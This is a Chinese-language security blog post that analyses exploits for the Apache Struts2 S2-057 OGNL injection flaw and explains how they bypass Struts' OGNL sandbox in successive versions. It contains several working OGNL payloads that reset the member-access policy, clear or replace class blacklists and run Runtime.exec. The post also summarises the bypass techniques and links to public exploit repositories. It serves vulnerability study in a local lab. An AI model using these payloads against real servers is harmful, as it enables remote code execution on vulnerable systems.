struts2漏洞exp分析

已首发安全客 https://www.anquanke.com/post/id/161690

0x00 前言

从零开始分析struts2代码执行exp,其中不但包括了struts2自己设置的防护机制绕过,还有ognl防护绕过。以s2-057为列,因为有三个版本的exp,从易到难,比较全。文章中包含的前置内容也比较多。

0x01 前置知识OGNL

struts2命令执行是利用ognl表达式,所以必须了解ognl。

1、HelloWorld

OGNL有三大要素,分别是表达式、Context、根对象。

使用ognl表达式的时候,是使用Object ognl.Ognl.getValue(String expression, Map context, Object root) api执行ognl表达式。
参数说明:
expression ognl表达式
context 是一个实现了Map接口的对象
root bean对象

来写一个helloworld,将上面抽象的东西实践一番。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class People{
public Integer age;
public String realName;
public void setAge(Integer age) {
this.age = age;
}
public void setRealName(String name) {
this.realName = name;
}
public Integer getAge() {
return this.age;
}
public String getRealName() {
return this.realName;
}
}
public class Temp {
public static void main(String[] args) throws OgnlException {
People root = new People();
root.setAge(100);
root.setRealName("lufei");
OgnlContext context = new OgnlContext();
context.put("nikename", "lufeirider");
//注意非根对象属性,需要加上#号
Object nikeName = Ognl.getValue("#nikename",context,root);
System.out.println(nikeName);
//使用跟对象属性时候,不需要加#号
Object realName = Ognl.getValue("realName",context,root);
System.out.println(realName);
//@[类全名(包括包路径)@[方法名|值名]]
//执行命令
Object execResult = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
System.out.println(execResult);
}
}

输出结果

1
2
3
lufei
lufeirider
java.lang.ProcessImpl@1f17ae12

2、OgnlContext类

因为exp中常常利用赋值,改安全属性,而赋值操作在这个类中,所以好好看下这个类如何进行赋值与取值。(源码下载地址:https://github.com/jkuhnert/ognl)
public class OgnlContext extends Object implements Map,它是实现了Map接口的类。

看一下里面的主要方法和属性
重写了Mapput方法,遇到RESERVED_KEYS里面的key,然后根据key进行使用不同方法进行赋值。如果不在RESERVED_KEYS里面的,则放入一个叫_values的Map里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public Object put(Object key, Object value)
{
Object result;
if (RESERVED_KEYS.containsKey(key)) {
if (key.equals(OgnlContext.THIS_CONTEXT_KEY)) {
result = getCurrentObject();
setCurrentObject(value);
} else {
if (key.equals(OgnlContext.ROOT_CONTEXT_KEY)) {
result = getRoot();
setRoot(value);
} else {
if (key.equals(OgnlContext.CONTEXT_CONTEXT_KEY)) {
throw new IllegalArgumentException("can't change " + OgnlContext.CONTEXT_CONTEXT_KEY
+ " in context");
} else {
if (key.equals(OgnlContext.TRACE_EVALUATIONS_CONTEXT_KEY)) {
result = getTraceEvaluations() ? Boolean.TRUE : Boolean.FALSE;
setTraceEvaluations(OgnlOps.booleanValue(value));
} else {
if (key.equals(OgnlContext.LAST_EVALUATION_CONTEXT_KEY)) {
result = getLastEvaluation();
_lastEvaluation = (Evaluation) value;
} else {
if (key.equals(OgnlContext.KEEP_LAST_EVALUATION_CONTEXT_KEY)) {
result = getKeepLastEvaluation() ? Boolean.TRUE : Boolean.FALSE;
setKeepLastEvaluation(OgnlOps.booleanValue(value));
} else {
if (key.equals(OgnlContext.CLASS_RESOLVER_CONTEXT_KEY)) {
result = getClassResolver();
setClassResolver((ClassResolver) value);
} else {
if (key.equals(OgnlContext.TYPE_CONVERTER_CONTEXT_KEY)) {
result = getTypeConverter();
setTypeConverter((TypeConverter) value);
} else {
if (key.equals(OgnlContext.MEMBER_ACCESS_CONTEXT_KEY)) {
result = getMemberAccess();
setMemberAccess((MemberAccess) value);
} else {
throw new IllegalArgumentException("unknown reserved key '" + key + "'");
}
}
}
}
}
}
}
}
}
} else {
result = _values.put(key, value);
}

还重写了get方法,跟上面的类似。Ognl.getValue("#ct['root']",context,root);context['root']就能获取到保留属性比如获取到保留属性root temp.People@7eda2dbb,而非在_value中获取。

来看下保留字符

1
2
3
4
5
6
7
8
9
public static final String CONTEXT_CONTEXT_KEY = "context";
public static final String ROOT_CONTEXT_KEY = "root";
public static final String THIS_CONTEXT_KEY = "this";
public static final String TRACE_EVALUATIONS_CONTEXT_KEY = "_traceEvaluations";
public static final String LAST_EVALUATION_CONTEXT_KEY = "_lastEvaluation";
public static final String KEEP_LAST_EVALUATION_CONTEXT_KEY = "_keepLastEvaluation";
public static final String CLASS_RESOLVER_CONTEXT_KEY = "_classResolver";
public static final String TYPE_CONVERTER_CONTEXT_KEY = "_typeConverter";
public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess";

其中_memberAccess是访问权限控制,比较重要。

设置访问权限

1
2
3
4
5
public void setMemberAccess(MemberAccess value)
{
if (value == null) { throw new IllegalArgumentException("cannot set MemberAccess to null"); }
_memberAccess = value;
}

保留属性和_values一起组成如下图

3、单步调试ognl表达式

为了调试的方便,确认表达式哪步成功哪步不成功,所以要找能够观察每个表达式结果的地方。由于要再执行真正的表示之前要对参数进行调整、检测表达式。所以到真正执行之前调用之前有几层栈。

1
2
3
4
5
6
7
ASTChain.getValueBody(OgnlContext, Object) line: 141
ASTChain(SimpleNode).evaluateGetValueBody(OgnlContext, Object) line: 212
ASTChain(SimpleNode).getValue(OgnlContext, Object) line: 258
Ognl.getValue(Object, Map, Object, Class) line: 494
Ognl.getValue(String, Map, Object, Class) line: 596
Ognl.getValue(String, Map, Object) line: 566
Temp.main(String[]) line: 48

真正调用是在ASTChain.getValueBody函数之中,里面有for循环是一个重要标识,通过遍历执行所有表达式。

4、 struts2环境下的OgnlContext

那么struts2框架会给OgnlContext设置哪些context和root?

这个HashMap中存在链表,如上图所示,所以想了解所有内容,需要点开HashMap中的next查看。
_root 里面存储着着Struts2 ActionContext,值为Test,说明访问的是Test Action。
_value 里面存储着session,parameters等ValueStack内容。

0x02 S2-057exp分析

以S2-057的exp为列进行分析,S2-057可以分成三个版本。

1、第一个最简单的版本

最简单的版本是以struts-2.3.24为列。
打开如下url,选用弹出计算器的exp,比较容易观察是否执行成功,是否跑飞了。
http://127.0.0.1:8070/Test/${(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/test

下面的表达式与开始的helloworld不同的是,这里多了${},因为
xwork-core\src\main\java\com\opensymphony\xwork2\util\OgnlTextParser.java evaluate,
是以$%作为限定符进行解析。

我们期待的计算器并没有弹出。这时候动态调试+开发者模式的好处显示出来了,在console打印了

1
2
十月 09, 2018 9:29:36 下午 com.opensymphony.xwork2.ognl.SecurityMemberAccess warn
警告: Target class [class java.lang.Runtime] is excluded!

SecurityMemberAccess类中弹出警告信息地方进行下断点,看到上一层isMethodAccessible会根据context_memberAccess对象,调用相应对象的isAccessible方法,可以看到这里调用的是com.opensymphony.xwork2.ognl.SecurityMemberAccess类的isAccessible方法。

可以将_memberAccess中的com.opensymphony.xwork2.ognl.SecurityMemberAccess对象覆盖成ognl.DefaultMemberAccess,因为xwork2自身对ognl的安全访问类的一些方法进行了重写,实现了自己的权限控制防护。但是ognl从helloworld看到是可以执行命令,没有防护。

在S2-057中,struts-2.3.24的exp如下。
http://127.0.0.1:8070/Test/%25{(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/test

经过测试2.3.20~2.3.29都是可以用

2、第二个版本

范围是:2.3.30~2.5.10,以struts-2.3.30为列。
执行上面的exp还是会报class [class java.lang.Runtime] is excluded!,和之前的结果对比一下,通过下面的截图可以看到_memberAccess还是com.opensymphony.xwork2.ognl.SecurityMemberAccess,不过在_value中增加了_memberAccess=ognl.DefaultMemberAccess@5d6edd4f

那我们单步跟踪一下(这里单步调试毕竟多,可以通过栈的刷新速度和右边的变量重新还原到上次跑飞的地方),这个覆盖为什么没有成功。通过单步跟踪发现,ognl并没有将_memberAccess纳入RESERVED_KEYS Map中,导致被当成普通的属性进行赋值了。

这里不能直接#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS进行对象覆盖,OgnlValueStack使用OgnlUtil.createDefaultContext进行创建_memberAccess默认属性,以及OgnlUtil.excludedClasses、excludedPackageNamePatterns、excludedPackageNames存储着黑名单,不过com.opensymphony.xwork2.ognl.OgnlUtil.getExcludedxxxxx()能够获取到这些私有属性集合。

为了获取到OgnlUtil对象,使用了com.opensymphony.xwork2.inject.ContainerImpl.getInstance进行实例化。

获取OgnlUtil对象后,然后clear方法将黑名单清除掉。如果直接调用setMemberAccess会检测包ognl在黑名单中。最终exp如下

1
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23cr=%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

struts-2.3.34这个版本是一个异数,使用上面的exp无法弹出计算器。
通过单步调试发现,get方法无法获取到保留属性context,因为在这个版本中,ognl移除了context属性,不在作为保留属性。所以导致无法获取到context

这样无法直接通过#获取到context,但是可以从request['struts.valueStack']获取到com.opensymphony.xwork2.ognl.OgnlValueStack.context

1
request={struts.valueStack=com.opensymphony.xwork2.ognl.OgnlValueStack@3923c6df, struts.actionMapping=ActionMapping{name='test', namespace='/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cr=#context['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}', method='null', extension='null', params=null, result=null}, __cleanup_recursion_counter=1}

所以exp为

1
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

3、第三个版本

第三个版本范围是2.5.12~2.5.16,以struts-2.5.12版本为列。2.5以上的版本是把xwork2合并到struts2-core-x-x-xx.jar中了,在配置漏洞的环境的时候要注意一点,需要修改/WEB-INF/web.xml。

1
2
3
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
改成
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>

使用上一个版本的exp发现没有弹出计算器,爆出如下信息,通过notepad++搜索源码,发现是在ognl/OgnlRuntime.java,进行下断点。

1
Two methods with same method signature but not providing classes assignable? "public abstract void java.util.Set.clear()" and "public void java.util.Collections$UnmodifiableCollection.clear()" please report!

先断点后跟下去,发现最后发现是调用了clear清除Collections$UnmodifiableSet ExcludedClasses,导致ExcludedClasses这些黑名单并没有被清除掉。

但是OgnlUtil.setExcludedClasses函数是对excludedClasses重新赋给一个新集合,并不是修改,所以我们赋值一个包含关紧要的类的黑名集合,从而达到了绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet<>();
for (String className : classNames) {
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException e) {
throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}
excludedClasses = Collections.unmodifiableSet(classes);
}

所以最终exp如下

1
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

但是第一次执行上面的exp会报500错误,第二次就不会报错了。

ognl.OgnlRuntime.callAppropriateMethod中通过getAppropriateMethod获取到合适的函数,不为空并且通权限的验证,就使用下面的invokeMethod执行ognl表达式里面的函数。这里看到excludedClasses跟默认设置的一样,前面我们不是使用setExcludedClasses设置了一个无关紧要的黑名单了吗?原因是修改的并不是当前context,而是修改的是request['struts.valueStack'].context,并没有更新到当前context,所以需要再执行一遍,将修改后的跟新到当前context就好了。

先后执行下面两个exp,就会发现不会报错500。

1
2
3
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.'))}
${(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

总结

总结一下防护手段:
1、添加黑名单
2、阉割掉一些属性
3、将属性设置私有或者将集合变成不可修改

总结一下绕过手段:
1、最开始覆盖绕过
%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties']
2、对象维度的覆盖
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
3、阉割掉一些属性,找替代品(因为为了开发的方便,会有一些替代品的存在)
#ct=#request['struts.valueStack'].context
4、将属性设置私有或者将集合变成不可修改,找能够改变的方法
ou.setExcludedClasses('java.lang.Shutdown')

参考

OGNL 语言介绍与实践
Ognl表达式基本原理和使用方法
Struts2【OGNL、valueStack】就是这么简单
从调试角度理解ActionContext、OgnlContext、OgnlValueStack的关系
深入struts2 (一)—Xwork介绍
OgnlContext源码分析
Struts2漏洞分析与研究之Ognl机制探讨
【Struts2-代码执行漏洞分析系列】S2-057

下载

https://archive.apache.org/dist/struts/

exp

https://github.com/Fnzer0/S2-057-poc
https://github.com/Ivan1ee/struts2-057-exp